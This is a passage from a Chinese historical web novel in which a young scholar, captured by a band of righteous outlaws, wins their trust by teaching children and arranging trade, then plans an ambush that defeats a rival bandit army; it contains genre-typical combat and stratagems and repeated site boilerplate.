“我们不必冲过去。”陈平川沉声说道,“你只需找个嗓门最大的弟兄,对着外面用尽全力大喊,就说‘财宝都从后院运走了,快追’!” 王镖头闻言一愣,满面血污的脸上写满了困惑。“这是何意?” “这伙匪徒看似凶悍,实则是乌合之众,全凭一个‘利’字驱使。” 陈平川的目光锁定在那个挥舞着鬼头刀的身影上,嘴角勾起一丝不屑,“财宝,就是他们的软肋。一听财宝要跑,他们定会自乱阵脚,拼命去追。到时候,只要那匪首身边护卫一少,便是我们的机会。” 这计策简单至极,却又直指人心最脆弱的贪婪,可行性很高。 王镖头心头剧震,他看了一眼少年在火光下沉静得有些可怕的侧脸,再无半分犹豫。“好!就按公子说的办!” 他转身对着一个镖师低语几句,那镖师当即会意。 只见他他猛地吸足一口气,将丹田之气灌注于喉间,用尽全身力气朝院外嘶声力竭地咆哮起来:“弟兄们!那帮肥羊把财宝从后院运走了!快追啊!” 这一嗓子,瞬间传遍了整个驿站。 正在疯狂围攻的匪徒们动作明显一滞,刀剑都慢了三分,纷纷侧目望向土坡上的首领,等着对方指令。 PC站点如章节文字不全请用手机访问 那络腮胡匪首果然中计。 “他娘的!还想从老子眼皮子底下溜走?”络腮胡怒骂一声,硕大的鬼头刀向前一指,声如闷雷,“老二给我追上去,老三老四!带人给我从后头包抄过去,一只苍蝇也别让他们飞了!” 近百名匪徒顿时呼啦啦分出去大半,绕着驿站破败的土墙朝后院方向汹涌而去。 络腮胡身边顿时只剩下三四个人,他得意地将鬼头刀往地上一插,双手叉腰,等着手下兄弟的好消息。 就在这时,他眼角余光瞥见,一个俊俏的小书生,竟带着十几个精悍的镖师,不知何时,从驿站侧翼的阴影中悄无声息地摸了出来,将他团团包围! 他心里咯噔一下,顿时明白过来。 “不好!中计了!”络腮胡又惊又怒,一张脸涨成了猪肝色。那少年书生站在最前,身形虽小,气势却如渊渟岳峙。 “束手就擒,饶你不死。” 旁边的镖师由衷地感叹:“不愧是解元公,略施小计就让这伙匪徒上当了!” 络腮胡感觉受到了奇耻大辱,原来设计坑害自己的,竟是一个毛都没长全的小屁孩! “小杂种,敢算计你爷爷!”络腮胡匪首被激怒,他拔起鬼头刀,如同一头被触怒的黑熊,带人从土坡上猛冲下来! 他要亲手拧下这个小子的脑袋! 陈平川看着狂奔而来的匪徒,嘴角却勾起冷笑。他非但没退,反而迎着那股凶悍的杀气,稳稳站定。 “放!” 一声清喝,埋伏在及膝杂草中的几名镖师猛地拽动手中绳索。 一张早已备好的、浸透桐油的巨大绳网,从枯黄的草丛中呼啸而起,如同巨兽张开的大口,兜头盖脸地罩向正全速冲下土坡的匪徒。 络腮胡冲势太猛,眼中只有陈平川那张可恶的脸,根本来不及反应,一头便撞进了坚韧的网中。 巨大的惯性让他连人带刀翻滚出去好几个跟头,被绳网死死缠绕捆缚,动弹不得,活像一个待宰的肉粽。 几名镖师见状一拥而上,用刀背对着他后脑和四肢狠狠几下,便将他彻底制服。 其余几个匪徒也被抓住,跪在地上不敢反抗。 “有种就杀了爷爷!十八年后又是一条好汉!”被死死按在地上的络腮胡还在破口大骂,满脸都是不服与狰狞。 陈平川缓缓走到他面前,鄙夷地看着他。 “杀你?我嫌脏了我的手。” 他蹲下身,轻轻拍了拍匪首涨红的脸。 “你勇则勇矣,却无半分智谋。敌人一声大喊,你就自乱阵脚,不辨真伪,分兵去追逐财宝,将自己完全置于险地。若是两军交战,你这般的主帅,只会让你麾下数千兄弟跟着你白白送死,最终曝尸荒野,连尸骨都无人收殓。” PC站点如章节文字不全请用手机访问 第93章 当时,那把剑距离我的喉咙只有0.01公分 一番话,不带一个脏字,却像一记无形的耳光,狠狠打在络腮胡的脸上。 他愣住了,粗重的喘息声渐渐平息,想开口反驳,却发现一个字也挤不出来。 此时,王镖头已经带着人返回来,那些追到后院发现上当的匪徒,听说首领被擒,顿时士气崩溃,作鸟兽散,跑得比兔子还快。 “公子神机妙算,王某佩服得五体投地!”王镖头由衷地赞叹,看着陈平川的眼神充满了敬畏。 就在众人刚刚松下一口气,商量着如何将这匪首扭送官府之时,驿站外幽深的密林深处,忽然传来三声尖锐无比的呼哨。 那哨声高亢,在寂静的夜空中传出很远。 哨声刚落,更多的黑影从四面八方的林子里无声地涌出,密密麻麻,手中的火把连成一片火龙,将整个破败的驿站围得水泄不通。 众人脸色大变,刚刚放下的心,又瞬间提到了嗓子眼,甚至比刚才还要紧张。 因为这一次,他们面对的人数更多,而且也更有纪律。 月光如霜,匪徒群中无声地分开一条道路。 一个身披黑色斗篷、脸戴黑纱的女人,骑着一匹神骏非凡的通体乌黑的骏马,缓缓而出。 她所过之处,所有匪徒都敬畏地低下头,连大气都不敢出一声。 女人的目光落在那被捆得结结实实的络腮胡匪首身上,黑纱下的红唇轻启,吐出两个冰冷的字。 “废物。” 络腮胡闻言,头颅瞬间耷拉下去,满脸羞愧,竟像个做错了事的孩子,不敢辩驳。 女人的视线越过众人,最终定格在陈平川身上。 “放了他。你,留下。其余的人,可以滚了。” 她的声音带着一股让人无法抗拒的威严。 陈平川暗自思量:对方人多势众,且令行禁止,远非刚才的散兵游勇可比。硬拼,无异于以卵击石,只有死路一条。 他当机立断,侧过身,用只有两人能听见的声音对王镖头低语:“王镖头,你们先走,去前面的镇子搬救兵,我自有办法脱身。” 那女人要求自己留下,应该不会杀了自己,他还有机会逃生。 王镖头咬紧牙关,脸上满是纠结,最后还是重重一点头,带着幸存的镖师和商旅,护着马车缓缓撤离。 匪徒果然没有追击,只是用冰冷的目光注视着他们离开。 待王镖头的身影彻底消失在官道尽头的黑暗中,陈平川用匕首抵住络腮胡匪首的脖颈,挟持着他作为人质,一步步向后退去。 他瞅准一个空当,猛地将匪首推向前方的人群,自己则借力一蹬,翻身上了旁边一匹马,双腿猛地一夹马腹,便要纵马向林中狂奔。 然而,他胯下的骏马刚跑出不到十步。 只觉一阵若有若无的香风拂过,一道黑影如同没有重量的落叶,悄无声息出现在他的马背身后。 他甚至没能看清对方的动作,一只戴着黑色丝质手套的玉手便轻飘飘地搭在了他的后颈之上。 那只手看似柔软无力,却蕴含着一股让他无法反抗的力量。 只轻轻一提,便将他整个人从高速奔驰的马背上拎了下来,随手扔在了地上。 PC站点如章节文字不全请用手机访问 “想跑?” 黑衣女人发出银铃般的轻笑,将陈平川手里的匕首踢飞。 “小小年纪,计谋毒辣,胆色过人,倒确实是个人才。杀了,的确有些可惜。” 之前,陈平川数落络腮胡的时候,她其实就躲在不远处的树林里,听得一清二楚。 心里惊讶之余,觉得陈平川是个人才,可以为她所用,便决定将其掠走,逼其和她一起落草为寇。 女人居高临下地俯视着地上略显狼狈的陈平川,美眸中透出冷色。 “从今天起,你就是我黑风寨,凤三娘的人。” 她顿了顿,声音变得愈发冰冷,“如果不愿意跟我走,我就杀了你!” …… 山风呼啸,草木作响。 陈平川双手被绳子捆住,被骑在马上的凤三娘拉着,踉踉跄跄地走在山路上。 当时,凤三娘的长剑距离陈平川的喉咙只有0.01公分,所以他只有一个选择,那就是服从。 好汉不吃眼前亏,只要人活着,就一定能想办法逃走。 不知走了多久,前面出现了一座高山,有人喊道:“终于到家了!” 这座山叫黑风山,也是黑风寨的老巢。 靠近山寨,陈平川发现,这里远比他想象的要荒凉破败。几排简陋的木屋,在寒风中歪歪斜斜地挤作一团。 那道所谓的寨墙,也只是用粗壮的原木和嶙峋的石头草草垒砌而成。 然而,寨子里却出奇地干净,地面被打扫得不见一丝杂物,与他脑海中匪巢该有的脏乱油腻、酒气冲天的景象截然不同。 阳光下,一些面带菜色、但很精神的老人和瘦弱的妇孺,正聚在一处向阳的空地上,安静地缝补着破旧的衣物。 当身披黑色斗篷的凤三娘出现时,他们纷纷停下手中的活计,抬起头来。那一道道望过去的目光里,没有畏惧与惊恐,反而是敬爱与依赖。 凤三娘跳下马,让手下将马牵走。 她亲自走上前,解下陈平川手上的绳索,双眸盯着他,眼神冷冽。 “别动歪心思。”她的声音充满了警告,“这座山上,处处都是我的眼睛。” 陈平川被关在一个散发着泥土与霉味的山洞里,洞内光线昏暗,只有一盏豆大的油灯。 凤三娘让他管理山寨的账目,定期向她汇报。 陈平川一边啃着粗面饼子,一边翻看,山寨的情况,在他眼前徐徐展开。 库房里的钱财寥寥无几,那些抢来的丝绸布匹、食盐茶叶,半数以上,都通过隐秘的渠道,以极低的价格变卖出去,然后分发给了山下因苛政与灾荒而快要饿死的村民。 账本里还详细记录着他们劫掠的对象,无一不是贪官污吏,劣绅豪商。 陈平川还看到了凤三娘给黑风寨立下的铁律:绝不伤及无辜性命! “没想到,这伙人还是侠盗?” PC站点如章节文字不全请用手机访问 陈平川捏着下巴,饶有兴趣地望着洞外。 十天后,凤三娘见陈平川还算老实,允许他出来走动,但必须带上镣铐,防止逃跑。 陈平川在山寨里闲逛,他看到,寨子里的人,大多是些在苛捐杂税下走投无路的流民,或是从战场上跑回来、有家不能回的逃兵。 从这些人的闲聊中,他拼凑出了这个大业朝。现在的真实面貌: 皇帝只是傀儡,大权旁落于垂帘听政的王后及其外戚之手,朝堂之上乌烟瘴气,奸佞当道。 边境又有强敌环伺,连年征战,那沉重的赋税和灾荒,正让这个王朝的根基一点点压垮。 百姓,苦不堪言。 PC站点如章节文字不全请用手机访问 第94章 玩波大的!赢了当军师,输了掉脑袋 陈平川觉得,自己应该做点什么。 于是,他找到了凤三娘,希望能给山寨里的孩子们教书识字。 凤三娘沉吟片刻,点头同意了。 于是,一间简陋的学堂出现在黑风寨里,一块破木板上,被陈平川用黑炭写了四个大字:“希望小学”。 起初,没有人送孩子来学习。 一是因为他们还不信任陈平川,二是他们认为,穷人读书没用。 陈平川挨家挨户,敲门宣传,知识改变命运,落后就要挨打。 听进去的人少,赶他走的人多。 陈平川也不气馁,他知道,这是一件艰巨漫长的工作。 毕竟,人的偏见是一座无法逾越的大山…… 陈平川做的事情,被凤三娘看在眼里,她觉得这小子挺有趣的,想看他什么时候放弃。 结果,一个多月过去了,陈平川还在说服那些孩子的家长,让他们把孩子送来学习。 但,依旧没有人来。 “该放弃了吧?”凤三娘端着茶杯,透过窗户看到陈平川被人赶出来,心里想着。 结果,陈平川又拐进了第二家…… 功夫不负有心人,陈平川终于收到了第一个学生,是山寨里的十岁孤儿,巧妹。 “我,我想跟你读书……” 巧妹怯生生地站在门口,对陈平川说道。 陈平川从她瘦弱的身上,看到了妹妹陈平玉的影子。 他回过神,高兴地将巧妹叫进来,给她准备了一支自己制作的“笔”,然后教她写自己的名字。 就这样,巧妹开始跟着陈平川读书识字,平日,她也会帮陈平川做些力所能及的事情。 一日,巧妹看到他的衣衫被粗糙的木桩磨破了,便主动捧着一个针线篮子,用一双满是裂口的小手,一针一线,笨拙地帮他缝补。 那针脚歪歪扭扭,却比世上任何锦绣都更温暖。 “我娘说,读书很有用,让我以后也去读书。”她小声地念叨着,“可惜后来,我娘饿死了……” 陈平川心里叹了口气,摸了摸巧妹的头,道:“那你好好读书,不要辜负你娘的心愿。” 山寨的人看到巧妹跟着陈平川学习,没出什么大事,还学会了怎么写自己的名字,于是,开始有人把自己的孩子送来学习。 虎头虎脑的男孩大壮,是陈平川的第二个学生,总缠着他问东问西。 “先生,读书真的能当大官吗?当了大官,是不是就能带兵打仗,把蛮夷赶走?” 大壮的眼睛里,闪烁着希望的火焰。 他爹死于战火,他的梦想,是长大后去从军,杀光那些侵犯边境的蛮夷,保家卫国。 PC站点如章节文字不全请用手机访问 随着学生越来越多,陈平川在山寨的声望也好起来,大家愿意和他这个年轻书生聊天说话,生活上,也愿意帮助他。 “平川啊,这是我刚烙的面饼,给你两张,趁热吃!” 郭大妈每次来看陈平川,都会给他带一些吃的东西,然后笑着看陈平川吃下去。 “多吃点,正是长身子的时候呢。”她的眼圈时常泛红,声音哽咽,“俺那娃要是还活着,也该你这么大了……” 日子一天天过去,陈平川与这里的人们结下了友谊。 这些善良而朴实的村民,让他感觉在山寨的日子,似乎也不那么难熬了。 转眼,凛冬将至。 刺骨的寒风卷着雪籽,宣告着又一个难熬的季节的来临。 山寨的议事堂内,气氛凝重,昏暗的火盆烧得并不旺,每个人的脸上都笼着一层阴影。 “寨里的粮食,只够支撑一个月了。” 凤三娘一句话,让所有人的心情都沉重起来。 “大当家的,我们再干一票大的吧!” 二当家铁牛猛地一拍桌子,粗声吼道,“我打听到,三天后,陈州知府那个狗娘养的要运一批上好的绸缎去京城孝敬他姐夫,咱们把他劫了!” 这家伙就是之前被陈平川抓住的络腮胡匪首,典型的四肢发达,头脑简单。 “不行。”凤三娘的声音不大,神色凝重,“官府已经加强了戒备,在附近部署了大军,我们出去,就是送死!” “那怎么办?难道就眼睁睁看着大家伙儿饿死?”铁牛急得满脸涨红,脖子上的青筋如虬龙般暴起。 山寨,似乎陷入了绝境。 “或许,我们可以不用抢。” 一个清朗的声音,引起了众人的注意。 所有人的目光,都齐刷刷地集中到了议事堂门口那个带着脚镣的少年身上。 陈平川缓缓走了进来,铁链拖在粗糙的木板地上,发出哗啦哗啦的声响。 “我们可以做生意。” 他将自己的计划娓娓道来:找个生面孔人,带领几个人,将库房里那些缴获的布匹、食盐等物资,通过更换包装等方式,抹去所有可能暴露的标记,再派人伪装成南来北往的普通行商,绕开大军,运到官府管控薄弱的邻县去贩卖。 “做生意?” 铁牛像是听到了天底下最好笑的笑话,指着陈平川讥讽道,“就凭我们这些扛刀弄枪的糙汉子?别到时候被人骗得连裤衩子都不剩!” “毛都没长齐的小崽子,在这里指手画脚,让大家听你的号令,你以为你是军师啊?” 陈平川平静地看着他,眼神平静。 “我与你立个赌约。”他的声音压过了铁牛的嘲笑与喧哗。 “若我的方法,能换来足够全寨过冬的粮食,从今往后,你便听我号令。若不能,我这颗项上人头,任你随时来取!” 铁牛被他眼中那份决绝与悍勇镇住了,张着嘴,一时间竟说不出话来。 PC站点如章节文字不全请用手机访问 凤三娘看着少年在火光下挺得笔直的脊梁,良久,她一锤定音。“好!就按你说的办!” “如果成功了,我以后就拜你为军师!” 于是,这事就这么定下来了。 凤三娘找来了符合陈平川要求的“生面孔”,那人身材干瘦,约莫四十来岁,一道狰狞的刀疤从左额直贯右边下颌,让他整张脸看起来分外可怖。 他不会说话,寨里人都叫他哑巴叔。 凤三娘打算让他带队出去做生意。 虽然哑巴叔不会说话,但十分精明,懂得也多,平时也很少露面,是最合适的人选。 临行前,陈平川又私下里找到哑巴叔,与其商量一番,确认一切都稳妥后,他才送哑巴叔的“商队”离开黑风寨。 剩下的就是等待。 PC站点如章节文字不全请用手机访问 第95章 秃鹫来袭,全寨投降?军师,你怎么看? 陈平川一如既往地教书授课,好像没事人一样。 反倒是铁牛烦躁地在山寨里乱转悠,跟热锅上的蚂蚁一样。 终于,十日过去了。 当十几辆装得冒尖的粮车,在吱吱呀呀声中缓缓驶入山寨时,整个黑风山都沸腾了! 车上不仅有足够吃到明年开春的雪白粮食,还有一大批急需的药材,甚至还有不少盈余的银钱。 郭大妈抱着一小袋金黄的小米,贴在脸上,浑浊的泪水奔涌而出,喜极而泣。 巧妹和一大群孩子围着粮车又唱又跳,笑声清脆得能穿透云霄。 大壮更是用一种近乎崇拜的目光,望着陈平川。 众人的态度已从最初的怀疑、戒备,彻底变成了敬佩与信服。 但陈平川依旧平静地面对众人的感激和追捧,他觉得,自己只是做了力所能及的事情。 凤三娘没有食言,当即表示,拜陈平川为军师! 整个山寨没有人反对,除了一个人。 这天,铁塔般的壮汉,像一阵恶风般闯进了山洞。 铁牛满脸横肉,眼神凶恶。 “娘的,你个小崽子有什么能耐,大当家的要让你当军师?” 他蒲扇般的大手叉在腰间,居高临下地打量着陈平川,鼻孔里发出一声极尽鄙夷的冷哼,“连刀都提不动,也配对老子指手画脚?” 陈平川正借着微弱的油灯光,在一块磨平的木板上,用木炭规划着山寨过冬的各项安排。 闻言连头都未曾抬起,仿佛对方只是一团吵闹的空气。 就在铁牛即将发作之时,一个沉默的身影无声无息地出现在他身后。 哑巴叔拍了拍铁牛的肩膀,比了几个简单而有力的手势。 铁牛见状,脸上的凶横褪去几分,悻悻地瞪了陈平川一眼,转身骂骂咧咧地走了。 哑巴叔也跟着走了出去,随后,一道窈窕的身影出现在门口。 是凤三娘。 她什么也没说,只是将一碗还冒着腾腾热气的肉汤,轻轻放在了陈平川的桌上。 肉香与热气,瞬间驱散了屋内的几分寒意。 她的目光,不经意地落在陈平川脚踝那副粗重的镣铐上,沉吟片刻,她将一个东西丢过来。 “钥匙给你,把镣铐解开吧。” 她没有停留,转身,悄无声息地融入了深沉的夜色之中。 事不遂人愿,山寨的日子,并没有因为粮食充足而变得好起来。 这一日,警钟在黑风寨响起! PC站点如章节文字不全请用手机访问 一个负责瞭望的兵丁,手脚并用地从瞭望塔上爬下来,连滚带爬地冲进议事堂,脸色惨白如纸。 “大、大当家的!不好了!秃鹫寨的李老秃,带着人把山给围了!” 议事堂内刚刚还算安稳的气氛,瞬间炸开了锅。 众人蜂拥至寨墙边,望向山下,心顿时沉入了无底的冰窟。 山道上,敌人的阵列森严,清一色的铁甲在冬日惨白的光线下,反射着寒芒,如同一条钢铁铸就的巨蟒,正缓缓绞紧。 凤三娘粗略估计,至少有五百之众,个个手持精良的兵刃,杀气腾腾,压得人喘不过气来。 山下传来一阵粗野至极的狂笑,一个沙哑刺耳的声音远远传来,响彻整个山谷。 “黑风寨的人听着,识相的,乖乖把粮食都交出来,再让凤三娘梳妆打扮,穿上红嫁衣和红盖头,我李老秃要娶她过门!否则,今日便踏平你这黑风山,鸡犬不留!” 众人脸上血色褪尽,凤三娘握着剑的手因为愤怒而颤抖。 李老秃不是普通的贼寇,他原是朝廷鹰扬卫的校尉,外号‘秃鹫’,因为打仗从不留活口,专食死人肉!人送外号“秃鹫”,他手下那帮人,也都是从尸山血海里爬出来的正规军! 远不是黑风寨的乌合之众能相比的。 凤三娘嘴唇紧紧抿成一条线,一个字也说不出来。 这根本不是一场势均力敌的战斗,而是一个毫无悬念的死局。 议事堂内,火盆里的炭火明明灭灭,跳动的火焰将一张张惶然不安的脸映得阴晴不定。 “大当家的,我们……”一个手下声音发颤,眼神躲闪,“我们……投降吧。李老秃只要粮食和……和您,或许……或许能放过我们这些弟兄一条生路。” “放你娘的屁!”铁牛那蒲扇般的大手猛地一巴掌拍在桌上,怒斥道,“俺们黑风寨,没有孬种!” 另一个人立刻红着眼睛反驳:“不当孬种,难道就去当死人吗?你睁开眼看看外面多少人!我们拿什么打?” “打不过也得打!大不了一死!” “说得轻巧!怎么打?你告诉我怎么打?用你的命去填吗?” 铁牛被问得哑口无言,他空有一身蛮力,此刻却想不出半点对策,一张黝黑的脸憋得通红,只能像一头被困的公牛般呼呼喘着粗气。 凤三娘冰冷的目光缓缓环视一圈,看着那些或低头不语、或眼神躲闪的脸庞,心一点一点沉了下去,如坠冰窟。 除了哑巴叔和一根筋的铁牛,竟无一人主战。 还没开打,士气就已经散了。 她的视线越过众人,最终落在了议事堂门口那个安静的身影上。 陈平川已经解开了脚镣,换上了一身干净的青布长衫,静静地站在那里,正与她四目相对。 凤三娘心里一动,开口道:“军师,你怎么看?” 所有人的目光,瞬间都汇聚了过来。 有疑惑,有不屑,更有几分看好戏的嘲讽。 一个手无缚鸡之力的书生,懂得怎么打仗吗? 陈平川缓缓走进堂中,脚步沉稳,目光平静地扫过众人。 PC站点如章节文字不全请用手机访问 “不能投降。” 他的声音不大,却让嘈杂的议论声,瞬间静了下来。 “李老秃外号秃鹫,你们以为是白叫的?”他停顿了一下,让所有人都消化这句话,“秃鹫是什么德性?食腐肉、敲骨吸髓,贪婪无度,从不留活口。今天我们交出粮食,明天他就要我们的兵器,后天,就要我们的命。把活下去的希望,寄托在敌人的仁慈上,是这世上最愚蠢的做法。” 他的视线锐利如刀,落在那个提议投降的人身上,后者脸色不自然地移开了目光。 “这一战,是生死存亡之战,我们身后就是悬崖,退无可退。” “说得比唱得还好听!”角落里,有人阴阳怪气地说道,“反正打仗送死的人不是你!你当然站着说话不腰疼!” PC站点如章节文字不全请用手机访问 第96章 陈平川布下天罗地网,李老秃插翅难逃 陈平川的目光陡然冷了下来,如同腊月的寒冰。 “你给我搞清楚一点,你们不是为了我战斗!而是为了黑风寨,为了这里的人,为了你们自己!” “你们想过没有,如果山寨破了,你们这些青壮年汉子,身手好的,大可以四散奔逃,找个深山老林躲起来。可是,凤三娘呢?郭大妈她们呢?跟着我读书识字的巧妹和大壮呢?那些跟不上你们脚步的老弱妇孺,怎么办?任由她们被秃鹫寨那群畜生糟蹋吗?” 一番话,说的许多人脸上青一阵白一阵,再也说不出一个字。 他们是贼寇,是亡命徒,但他们不是没有血性的畜生。 一想到山寨破了之后,那些老弱妇孺的下场,许多人便不由自主地握紧了手边的兵器,眼中的绝望,渐渐被一丝决死的凶狠所取代。 凤三娘看着众人的变化,原本黯淡的眸子,骤然亮起一道精光! 她从陈平川身上,看到了她一直想看到,却从别人身上看不到的东西。 那就是永不屈服! 她朱唇轻启:“军师,你有办法退敌吗?” “有!” 陈平川仰起头,胸有成竹。 凤三娘猛地站起身,娇小的身躯里爆发出惊人的气势,环视众人,声音清冷而决绝。 “从此刻起,山寨一切军事调度,全凭军师做主!有违令者,斩!” “俺铁牛第一个听军师的!”铁牛想也不想,挺着胸膛吼道。 他不懂什么计谋,但他知道,谁帮大当家,他就跟谁干。 “我等,听凭军师调遣!” 众人面面相觑,最后也再无二话,轰然应诺。 事关存亡,陈平川不再推辞,他走到那副简陋的沙盘前,随手拿起一根枯树枝。 “这一战,敌强我弱,不能硬拼,要用脑子打。” 他的手指在沙盘上划过一道曲折的线路,眼眸里,此刻满是寒光。 “哑巴叔,秃鹫寨上山的必经之路,有三处险要,我要你连夜布下三道大礼。滚石、陷坑、绊马索,所有能用的机关都给我用上。务必将整座黑风山,变成他们的坟场。” 哑巴叔眼中闪烁着嗜血的兴奋光芒,用力点了点头,无声地转身,大步离去。 “铁牛,你带三十个身手最好、最能跑的弟兄,从后山密道出去。接下来三天,我不要你们杀人,我要你们变成山林里的鬼,日夜不停地骚扰他们。放冷箭、烧粮草、半夜在他们营地四面擂鼓呐喊,怎么让他们不得安生就怎么来!记住,一击即退,绝不恋战! “知道了!瞧我的!”铁牛把自己胸脯拍的啪啪直响。 随后,陈平川又安排了其他人,等作战会议结束时,已经是黄昏时分了。 陈平川没有回家,而是找到一个面容黝黑、满手老茧的汉子,那是山寨里手艺最好的工匠。 “王师傅,我需要一件东西。”他用木炭在旁边的木板上飞快地画出一个精巧复杂的结构图,正是记忆中诸葛连弩的草图,“能连发、可藏于袖中、五十步内能破牛皮甲。能做出来吗?” 王师傅凑近了,一双眼睛死死盯着图纸,片刻后,他重重一点头,吐出两个字:“三天!” “好。” PC站点如章节文字不全请用手机访问 陈平川点点头,这连弩是他刚刚想到的,如果能做出来,身体瘦弱的他也能杀敌自保。 接下来的三日,山下的敌营彻底乱了套。 铁牛带着三十个弟兄,成了黑风山真正的“鬼”。他虽然心里还嘀咕那小白脸军师的法子邪门,但执行起来却半点不含糊。 白天专挑人家埋锅造饭的时候射冷箭,箭上绑着浸了油的布条,一箭过去,饭锅掀了,帐篷也着了。 晚上更是把军师教的“敌进我退,敌驻我扰”发挥到了极致,四面八方轮流擂鼓呐喊,听着声势浩大,其实就那么几个人。 几次下来,秃鹫寨的人连个鬼影子都抓不到,反而自己吓自己,草木皆兵。 李老秃和他的手下被搅得日夜不宁,个个顶着一双兔子似的红眼,眼圈发黑,士气一落千丈,看身边每一棵树都像是藏着敌人。 “他娘的,一群山沟里的耗子,也敢跟老子玩兵法?”李老秃双眼赤红,一脚踹翻了身前的火盆,火星四溅。 “老子当年在北边跟蛮子拼刀子的时候,你们这群小崽子还在穿开裆裤呢!不等了!传我命令,全军出击!老子今天就要踏平那黑风山!” 急促的号角声再次响起,被折磨得几近崩溃的秃鹫寨匪众,潮水般向山上涌来。 陈平川和凤三娘站在寨墙高处,俯视下方。 他一身青衫在山风中猎猎作响,看着山下那失去理智、蜂拥而来的敌人,嘴角勾起一抹冰冷的笑意。 鱼儿,终于上钩了。 按照陈平川的安排,凤三娘亲率主力在正面迎敌,双方一接触,黑风寨这边便“抵挡不住”,开始节节败退,将敌人主力一步步引向一处名为“一线天”的狭窄山谷。 李老秃已然杀红了眼,一心只想抓住凤三娘,哪里还顾得上观察地形,带着人马便一头扎了进去。 当最后一批匪徒的身影消失在谷口,山谷两侧的山壁上,突然响起哑巴叔那独特而尖锐的呼哨声! 轰隆隆——! 大地仿佛都在颤抖,无数巨石檑木如同天神之怒,带着万钧之势从天而降,瞬间封死了谷口唯一的退路,烟尘弥漫,惨叫声被巨响吞没。 “杀!” 山谷后方,铁牛早已率领奇兵在此等候多时,随着一声爆喝,呐喊着从敌人后方猛然杀出! 秃鹫寨的匪徒瞬间陷入了前后夹击、上天无路、入地无门的绝境,阵脚大乱,自相践踏。 混战中,李老秃凶性大发,竟硬生生杀出一条血路,突破了正面的防线,却发现前方也有人堵截。 他只好调转方向,继续逃窜,可是不管他怎么逃,前面总有人拦截,让他恼怒不已。 “老大,你看那边!” 一名心腹指着远处大喊,李老秃望过去,看到一个青衫少年,正手持小旗在指挥。 而随着他的旗子挥舞,周围出现了更多黑风寨的人。 明白了,都是那小子在搞鬼! PC站点如章节文字不全请用手机访问 第97章 杀俘虏?笨蛋,那可都是壮劳力啊! 李老秃嘶吼一声,带人不顾一切冲上去! 他久经沙场,自然知道擒贼先擒王的道理。 陈平川也注意到李老秃正向自己这边冲来,他从容不乱,继续指挥。 敌人还没有被完全消灭,他身为指挥者,必须镇守中军,稳住人心。 一旦他走了,士气必然下降,所以,他不能走! 不过他还是低估了李老秃的悍不畏死。 这家伙如同一头被激怒的疯熊,根本不理会两翼的攻击,任凭刀枪在身上留下伤口,只认准了陈平川所在的方向。 他硬生生撞散了两层拦截的人墙,浑身浴血地冲到了陈平川面前! “狗崽子!给老子死!” 李老秃狰狞如鬼,一刀朝着陈平川当头劈下! “军师小心!” 一声怒吼,铁牛那魁梧的身躯如同一堵移动的肉墙般横撞过来,怒目圆睁,用自己厚实的后背,硬生生扛下了这致命的一刀! “噗——!” 利刃入肉的声音沉闷而恐怖,鲜血如同喷泉般染红了他的后甲,溅了陈平川一脸。 “铁牛?嘿嘿,老子先送你下地狱!” 李老秃狞笑着,举起滴血的钢刀便要结果了铁牛。 就在此时,陈平川抬起了右臂,衣袖无声滑落,一具小巧而精致的弩机正对准了李老秃。 咻! 一道寒光破空射出。 李老秃身经百战,反应极快,下意识地侧身一躲,弩箭擦着他的脸颊飞过,带起一道血痕。 “就这点本事?”他脸上露出得意的狞笑,死亡的威胁让他更加兴奋。 可他狞笑尚未散去,陈平川的食指已经再次扣下。 这一箭,这才是真正的杀招,精准无比地射进了他圆睁的左眼! “啊——!” 李老秃发出一声不似人声的凄厉惨叫,捂着眼睛连连后退,手中的刀也当啷落地。 那小子手里拿的什么武器?竟能射出第二箭!怎么可能? 陈平川立刻上前,想趁机拖着重伤的铁牛离开。 但铁牛身形太重,瘦弱的他用尽全力也拖不动分毫。 眼看捂着眼睛的李老秃再次嚎叫着扑上来,一道黑色的身影翩然而至。 剑光一闪,快得让人看不清轨迹。 PC站点如章节文字不全请用手机访问 凤三娘手中那柄薄如秋水的长剑,已经悄无声息地刺穿了李老秃的咽喉。 “咕咕咕……” 李老秃喉咙飙血,他踉跄后退,手里的长刀胡乱劈砍,随后缓缓瘫倒在地。 首领一死,秃鹫寨匪众彻底崩溃,或跪地投降,或丢盔弃甲,四散奔逃。 此战,黑风山,以弱胜强,大获全胜! 战后,躺在床上的铁牛缓缓醒来。 感受到后背的剧痛,他皱了皱眉,随后便看到了守在床边,神色有些疲惫的陈平川。 他挣扎着想要起身,这个曾经被他视作“小白脸”、“小崽子”的少年,此刻在他眼中,配得上神机妙算这四个字! 陈平川伸出手,轻轻按住了他的肩膀,摇了摇头。 “还敢动?是嫌背后那口子不够深?” 陈平川瞥了他一眼,语气欠揍,“好好活着,你这身蛮力,死了可惜。” 铁牛听了,非但没怒,反而咧开大嘴,嘿嘿傻笑起来,牵动了伤口,疼得龇牙咧嘴,却还是瓮声瓮气地说道:“军师……俺服了!以后你说啥,俺就干啥!” 那张粗犷的脸上,是前所未有的敬服与真诚。 黑风寨大获全胜,人们爆发出压抑许久的欢腾,声浪几乎要掀翻议事堂的屋顶。 临时搬来的几张大桌被随意地拼凑在一起,酒坛子在墙角堆成了小山。烤得滋滋冒油的整只野猪和羊腿,被壮汉们流水般端上,浓郁的肉香混杂着辛辣的酒气,在跳动的火光中蒸腾,让每个劫后余生的人脸上都泛着兴奋的酡红。 “喝!” “敬大当家!敬军师!” 铁牛高举着一坛酒,像头牛饮水般咕咚咕咚灌下半坛,用油腻的袖子抹了抹嘴,满脸涨红地咆哮着。 宴席正酣,一个脸上带着刀疤的头目拎着酒碗,摇摇晃晃地站起来,舌头有些打结,眼神里满是醉意与杀气。 “大当家,军师……嗝……秃鹫寨那几百个降匪,咋处置?”他面目狰狞,用拇指在自己脖子上狠狠一划,比了个抹脖子的手势,阴森森地说道,“依我看,一不做二不休,找个山沟,全埋了!免得留下后患!” 此言一出,堂内狂热的气氛瞬间为之一滞。紧接着,一股比酒气更加浓烈的杀气弥漫开来。 “没错!疤子脸说得对!” “杀了干净!那帮杂碎,手上哪个没沾过咱们弟兄的血?”铁牛猛地一巴掌拍在桌上,震得碗筷叮当作响,“省得他们日后报复!还他娘的浪费咱们的粮食!” “对,都杀了!” 附和声此起彼伏,刚刚还沉浸在胜利喜悦中的众人,眼中再次泛起惯于刀口舔血的凶光。 对他们这些亡命徒而言,解决问题的最直接方式,向来是斩草除根。 “不可。” 一道清冷的声音响起,让喧嚣戛然而止。 